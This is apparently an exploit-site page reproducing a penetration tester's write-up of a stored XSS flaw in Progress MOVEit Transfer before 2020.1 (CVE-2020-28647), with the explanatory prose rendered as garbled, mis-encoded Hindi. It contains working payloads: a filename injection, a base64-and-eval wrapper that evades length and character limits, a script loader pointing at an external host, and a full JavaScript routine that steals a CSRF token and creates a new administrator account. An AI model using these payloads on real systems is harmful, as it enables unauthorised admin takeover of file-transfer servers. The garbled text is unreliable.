Sploitus

Exploit for Progress-MOVEit-Transfer-2020.1-Stored-XSS

kitploit ┬╖ 2026-09-05

Exploit Code

MARKDOWN151 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SECFORCE-PROGRESS-MOVEIT-TRANSFER-2020.1-STORED-XSS-CVE-2020-28647
# рдкреНрд░реЛрдЧреНрд░реЗрд╕ MOVEit Transfer < 2020.1 рд╕реНрдЯреЛрд░реНрдб XSS (CVE-2020-28647)

рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдПрдХ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдкрд░реАрдХреНрд╖рдг рдЕрднрд┐рдпрд╛рди рдХреЗ рджреМрд░рд╛рди, рджрд╛рдпрд░реЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ MOVEit Transfer 2020 рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдерд╛ред рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддреЗ рд╕рдордп, рдПрдХ рд╕реНрдЯреЛрд░реНрдб рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ (XSS) рдХрдордЬреЛрд░реА рдХреА рдкрд╣рдЪрд╛рди рдХреА рдЧрдИред рдпрд╣ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдРрд╕реА рдХрдордЬреЛрд░реА рдХреА рдЦреЛрдЬ рдФрд░ рдЙрд╕рдХреЗ рджреЛрд╣рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рддрдХ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░реЗрдЧрд╛ред

рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рдЗрдирдкреБрдЯ рдлрд╝реАрд▓реНрдбреНрд╕ рдкрд░ рдЗрдирдкреБрдЯ рд╕рддреНрдпрд╛рдкрди рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рддреЗ рд╕рдордп, рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЗрдирдкреБрдЯ рдлрд╝реАрд▓реНрдб рдиреЗ рдХреБрдЫ рдкреЗрд▓реЛрдб рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдкрд░ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдЖрдЙрдЯрдкреБрдЯ рджрд┐рдпрд╛ред рдпрд╣ рдЗрдирдкреБрдЯ рдлрд╝реАрд▓реНрдб рдЕрдкрд▓реЛрдб рдХреА рдЬрд╛ рд░рд╣реА рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд╛рдо рдерд╛ред рдХреБрдЫ рдлрд╝рд╛рдЗрд▓рдирд╛рдореЛрдВ рдХреЗ рд╕рд╛рде рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдпрд╣ рдкрд╣рдЪрд╛рдирд╛ рдЧрдпрд╛ рдХрд┐ рдлрд╝рд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдкрд░, рдбрд╛рдЙрдирд▓реЛрдб рдмрдЯрди рдХреЛрдИ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рдерд╛ред рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЧрдИ рдФрд░ рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо рдиреАрдЪреЗ рджреА рдЧрдИ рдЫрд╡рд┐ рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдбрд╛рдЙрдирд▓реЛрдб рдмрдЯрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдкрд░ рдПрдХ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рд╣реЛ рд░рд╣реА рд╣реИред

![](https://labs.secforce.com/uploads/1_js_error_initialfind.png)

рдПрдХ рдмрд╛рд░ рдпрд╣ рддреНрд░реБрдЯрд┐ рдкрд╣рдЪрд╛рдиреЗ рдЬрд╛рдиреЗ рдкрд░, рдбрд╛рдЙрдирд▓реЛрдб рдмрдЯрди рдХреЗ рдкреАрдЫреЗ рдХреЗ HTML рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рд╕реЗ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдХреЛ рдмрдЯрди рдХреЗ `onclick` рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдмрд┐рдирд╛ рдЙрдЪрд┐рдд рд╕реНрд╡рдЪреНрдЫрддрд╛ рдХреЗ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджреА рдЧрдИ рдЫрд╡рд┐ рдореЗрдВ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

![](https://labs.secforce.com/uploads/2_js_error_intialfind_injectedfilename.png)

рдЗрд╕ рдЕрд╡рд▓реЛрдХрди рдХреЗ рд╕рд╛рде рдпрд╣ рд╕реНрдкрд╖реНрдЯ рдерд╛ рдХрд┐ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ `Download` рдмрдЯрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛ред рдкрд╣рд▓рд╛ рдХрджрдо рдПрдХ рдкреНрд░реВрдл рдСрдл рдХреЙрдиреНрд╕реЗрдкреНрдЯ рдХреЛрдб рдмрдирд╛рдирд╛ рдерд╛ рдЬреЛ `alert` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкреЙрдкрдЕрдк рдЯреНрд░рд┐рдЧрд░ рдХрд░рддрд╛ рд╣реИред рдХреЛрдб рдХреА рдкреНрд░рдХреГрддрд┐ рдФрд░ рдЬрд╣рд╛рдБ рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЗрд▓реЛрдб рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдпрд╣ рдкреЗрд▓реЛрдб рдХреЙрд▓ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░реЗрдЧрд╛ рдФрд░ рдПрдХ рдирдпрд╛ рдлрд╝рдВрдХреНрд╢рди, `alert()`, рдЬреЛрдбрд╝реЗрдЧрд╛, рдЗрд╕рдХреЗ рдмрд╛рдж рдХреЛрдб рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдбрдореА рдлрд╝рдВрдХреНрд╢рди рд╣реЛрдЧрд╛ред

root@kitploit:~
    
    
    test", 382,"1234");alert("XSS");a("test
    

рдЗрд╕ рдкреЗрд▓реЛрдб рдХреЗ рд╕рд╛рде рд╣рдо рдЗрд╕рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╣рдо рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдмрд░реНрдк рдкреНрд░реЙрдХреНрд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдкрд▓реЛрдб рдЕрдиреБрд░реЛрдз рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдЧреНрд░реЗрд╖рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

![](https://labs.secforce.com/uploads/3_modifieduploadrequest.png)

![](https://labs.secforce.com/uploads/4_fileuploaded.png)

рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдЕрдм рд╣рдо рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ `Download` рдмрдЯрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣рд╛рдБ рд╣рдо рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ XSS рдЯреНрд░рд┐рдЧрд░ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдПрдХ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрд▓рд░реНрдЯ рдкреЙрдкрдЕрдк рджрд┐рдЦрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

![](https://labs.secforce.com/uploads/5_alert.png)

![](https://assets.kitploit.com/production/public/readmes/20305/44d00c501c41af0fe1f4a0449631ff771b3e526f5da5a0d5d6cbe5cecd3dd99b.jpg)

рдмрдврд╝рд┐рдпрд╛! рддреЛ рд╣рдо рдордирдорд╛рдирд╛ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╣рдо рдФрд░ рдХреНрдпрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ? рдХреНрдпрд╛ рд╣рдо рдЗрд╕рд╕реЗ рдХреБрдЫ рдФрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ?

рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдФрд░ рдЗрд╕рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдорд▓реЗ рдХрд╛ рдПрдХ рд╕рдВрднрд╛рд╡рд┐рдд рд╡реЗрдХреНрдЯрд░ рдПрдХ рдирд┐рдореНрди-рд╕реНрддрд░реАрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд░рд╣рд╛ рд╣реЛред

рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдХрджрдо рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдерд╛ рдХрд┐ рдХреНрдпрд╛ `XMLHttpRequest` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ HTTP рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред рдлрд╝рд╛рдЗрд▓ рдФрд░ рдлрд╝реЛрд▓реНрдбрд░ рдирд╛рдореЛрдВ рдХреА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░рддреЗ рд╕рдордп, рдпрд╣ рдкрд╣рдЪрд╛рдирд╛ рдЧрдпрд╛ рдХрд┐ MOVEit рдлрд╝рд╛рдЗрд▓рдирд╛рдо рдореЗрдВ `/` рдпрд╛ `\` рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИред рддреЛ рдпрд╣ рд╣рдореЗрдВ HTTP рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рд╕реЗ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд░реЛрдХ рд╕рдХрддрд╛ рд╣реИред рдПрдХ рдФрд░ рд╕реАрдорд╛ рдЬреЛ рдкрд╣рдЪрд╛рдиреА рдЧрдИ рд╡рд╣ рдпрд╣ рдереА рдХрд┐ рдлрд╝рд╛рдЗрд▓рдирд╛рдо 255 рд╡рд░реНрдгреЛрдВ рддрдХ рд╕реАрдорд┐рдд рд╣реИред

рдЗрд╕ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдХреБрдЫ рдкреНрд░рддрд┐рдмрдВрдз рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдкрд╣рд▓рд╛ рдпрд╣ рдерд╛ рдХрд┐ `/` рдФрд░ `\` рд╡рд░реНрдг рд╕реАрдорд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЦреЛрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рдФрд░ рджреВрд░рд╕реНрде рд╕рд░реНрд╡рд░ рдкрд░ рд╣реЛрд╕реНрдЯ рдХреА рдЧрдИ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ред рдЗрд╕ рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЬрд┐рд╕ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдЙрд╕реЗ `base64` рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдПрдирдХреЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдлрд┐рд░ рдЗрд╕реЗ рдореЗрдореЛрд░реА рдореЗрдВ рдбреАрдХреЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ `eval` рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдареАрдХ рдпрд╣реА рдХрд░рддрд╛ рд╣реИред

root@kitploit:~
    
    
    t",1","1");var e="BASE64 CODE";var d=atob(e);eval(d);a("t","t
    

рдЗрд╕ рдХреЛрдб рдХреЗ рд╕рд╛рде, рдкрд╣рд▓рд╛ рдкреНрд░рдпрд╛рд╕ рдПрдХ `<script>` рдЯреИрдЧ рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛ рдерд╛ рдЬрд┐рд╕рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рд╕реНрд░реЛрдд рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ рд╣реЛрд╕реНрдЯ рдХреА рдЧрдИ рдлрд╝рд╛рдЗрд▓ рдкрд░ рд╕реЗрдЯ рд╣реЛред рдиреАрдЪреЗ рджрд┐рдП рдЧрдП рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдХреЛ base64 рдПрдирдХреЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдФрд░ рдлрд┐рд░ рдКрдкрд░ рджрд┐рдП рдЧрдП рд╕реНрдирд┐рдкреЗрдЯ рдореЗрдВ рдХреЙрдкреА рдХрд┐рдпрд╛ рдЧрдпрд╛ред

root@kitploit:~
    
    
    var s=document.createElement("script");s.onload=function(){r();};s.src="http://XXX.XXX.XXX.XXX/t";document.head.appendChild(s);
    

рдЗрд╕реЗ рдЖрдЬрд╝рдорд╛рдиреЗ рдкрд░ рдПрдХ рдФрд░ рд╕рдорд╕реНрдпрд╛ рд╕рд╛рдордиреЗ рдЖрдИ, CSPред рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдПрдХ CSP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рдерд╛ рдЬреЛ рдмрд╛рд╣рд░реА рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рдерд╛ред

![](https://labs.secforce.com/uploads/7_csp_error.png)

![](https://labs.secforce.com/uploads/8_csp.png)

рддреЛ, рд╣рдо рдмрд╛рд╣рд░реА рдлрд╝рд╛рдЗрд▓реЗрдВ рд▓реЛрдб рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдФрд░ рд╣рдо JS рдХреЛрдб рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдЬреЛ 255 рд╡рд░реНрдгреЛрдВ рд╕реЗ рдЕрдзрд┐рдХ рд╣реЛред рдЕрдм рд╣рдо рдХреНрдпрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ? рд╣рдо MOVEit рдХреА рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдкрдиреА рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╣реЛрд╕реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдкрд╣рд▓реЗ рд╣рдореЗрдВ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛ рдЬреЛ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдПрдХ рдирдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рдкреГрд╖реНрда рдкрд░ `GET` рдЕрдиреБрд░реЛрдз рдХрд░реЗрдЧрд╛ рдФрд░ рдпрд╣рд╛рдБ рд╕реЗ CSRF рдЯреЛрдХрди рдирд┐рдХрд╛рд▓реЗрдЧрд╛ред рдлрд┐рд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдПрдХ рдирдпрд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдореЗрдВ рдирд┐рдХрд╛рд▓реЗ рдЧрдП CSRF рдЯреЛрдХрди рд╕рд╣рд┐рдд `POST` рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдиреАрдЪреЗ рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рд╣реИ рдЬреЛ рдРрд╕рд╛ рдХрд░рддрд╛ рд╣реИред

root@kitploit:~
    
    
    //Exploit Title: MOVEit Transfer 2020 - Stored Cross-Site Scripting (XSS)
    //Exploit Author: Mark Galea (some-email@example.com)
    //Date: 05-08-2020
    
    function r(){	
    ┬а┬а┬а┬аalert(1);
    ┬а┬а┬а┬аvar uri = "human.aspx?arg12=useradd";
    ┬а┬а┬а┬аxhr = new XMLHttpRequest();	
    ┬а┬а┬а┬аxhr.open("GET", uri, false);	
    ┬а┬а┬а┬аxhr.send(null)
    ┬а┬а┬а┬аif (xhr.status === 200)
    ┬а┬а┬а┬а{
    ┬а┬а┬а┬а┬а┬а┬а┬аresponseBody = read_body(xhr);
    ┬а┬а┬а┬а┬а┬а┬а┬аfirstSubStr = responseBody.substring(responseBody.indexOf("csrftoken")+18);
    ┬а┬а┬а┬а┬а┬а┬а┬аcsrfToken = firstSubStr.substring(0, firstSubStr.indexOf('"'));
    ┬а┬а┬а┬а┬а┬а┬а┬аif (csrfToken){
    ┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аvar adduserUri = "/human.aspx";
    ┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аvar body="csrftoken=" + csrfToken + "&transaction=useradd&arg02=0&arg12=useradd&arg01=sectest3&arg03=sectest3&arg04=test1%40secforce.com&arg11=0&arg05=30&Opt03=en&Opt02=20&opt05=1xFEHd%5DFhhVKJm&opt04=1&Arg08=%5B9%255Sj%29%2B4%2ChAUAY3&Arg09=%5B9%255Sj%29%2B4%2ChAUAY3&opt07=%2FHome%2F%5BUSERNAME%5D&Arg10=";
    ┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аxhr2 = new XMLHttpRequest();
    ┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аxhr2.open("POST", adduserUri, false);
    ┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аxhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    ┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬а┬аxhr2.send(body);
    ┬а┬а┬а┬а┬а┬а┬а┬а}
    ┬а┬а┬а┬а}
    }
    
    function read_body(xhr) {
    ┬а┬а┬а┬аvar data;
    ┬а┬а┬а┬аif (!xhr.responseType || xhr.responseType === "text") {
    ┬а┬а┬а┬а┬а┬а┬а┬аdata = xhr.responseText;
    ┬а┬а┬а┬а} else if (xhr.responseType === "document") {
    ┬а┬а┬а┬а┬а┬а┬а┬аdata = xhr.responseXML;
    ┬а┬а┬а┬а} else if (xhr.responseType === "json") {
    ┬а┬а┬а┬а┬а┬а┬а┬аdata = xhr.responseJSON;
    ┬а┬а┬а┬а} else {
    ┬а┬а┬а┬а┬а┬а┬а┬аdata = xhr.response;
    ┬а┬а┬а┬а}
    ┬а┬а┬а┬аreturn data;	
    }
    

рдЙрдкрд░реЛрдХреНрдд рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╣реЗрдЬ рдХрд░ MOVEit рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдлрд╝рд╛рдЗрд▓ рд╡рд┐рд╡рд░рдг рдЦреЛрд▓реЗрдВ рдФрд░ рдмрд░реНрдк рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рд╕рд╛рде рд╡реЗрдм рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░рддреЗ рд╣реБрдП рдбрд╛рдЙрдирд▓реЛрдб рдмрдЯрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред рдмрд░реНрдк рдкреНрд░реЙрдХреНрд╕реА рд▓реЙрдЧ рдореЗрдВ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдкреНрд░рддреНрдпрдХреНрд╖ рдбрд╛рдЙрдирд▓реЛрдб рд▓рд┐рдВрдХ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдПред рдпрд╣ URL рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП:

root@kitploit:~
    
    
    https://<MOVEIT_URL>/download?arg01=file693187292&arg02=693313636
    

рдкреНрд░рддреНрдпрдХреНрд╖ рдбрд╛рдЙрдирд▓реЛрдб рд▓рд┐рдВрдХ рд╣реЛрдиреЗ рдкрд░, рдЕрдм рд╣рдо рдЗрд╕реЗ рдкреЗрд▓реЛрдб рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдиреАрдЪреЗ рджрд┐рдпрд╛ рдЧрдпрд╛ рдХреЛрдб рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯреИрдЧ рдмрдирд╛рдПрдЧрд╛ рдФрд░ рд╕реНрд░реЛрдд URL рдХреЛ рдкреНрд░рддреНрдпрдХреНрд╖ рдбрд╛рдЙрдирд▓реЛрдб рд▓рд┐рдВрдХ рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдЧрд╛ рдФрд░ рдЕрдВрдд рдореЗрдВ рдкреЗрдЬ рд╣реЗрдб рдЯреИрдЧ рдореЗрдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯреИрдЧ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░реЗрдЧрд╛ рдФрд░ `onload` рдкрд░ `r()` рдлрд╝рдВрдХреНрд╢рди рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛ред

root@kitploit:~
    
    
    var s=document.createElement("script");s.onload=function(){r();};s.src="/download?arg01=file693187292&arg02=693313636";document.head.appendChild(s);
    

рдЕрдЧрд▓рд╛ рдХрджрдо рдЙрдкрд░реЛрдХреНрдд рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдХреЛ base64 рдПрдирдХреЛрдб рдХрд░рдирд╛ рд╣реИ:

root@kitploit:~
    
    
    dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5vbmxvYWQ9ZnVuY3Rpb24oKXtyKCk7fTtzLnNyYz0iL2Rvd25sb2FkP2FyZzAxPWZpbGU2OTMxODcyOTImYXJnMDI9NjkzMzEzNjM2Ijtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHMpOw==
    

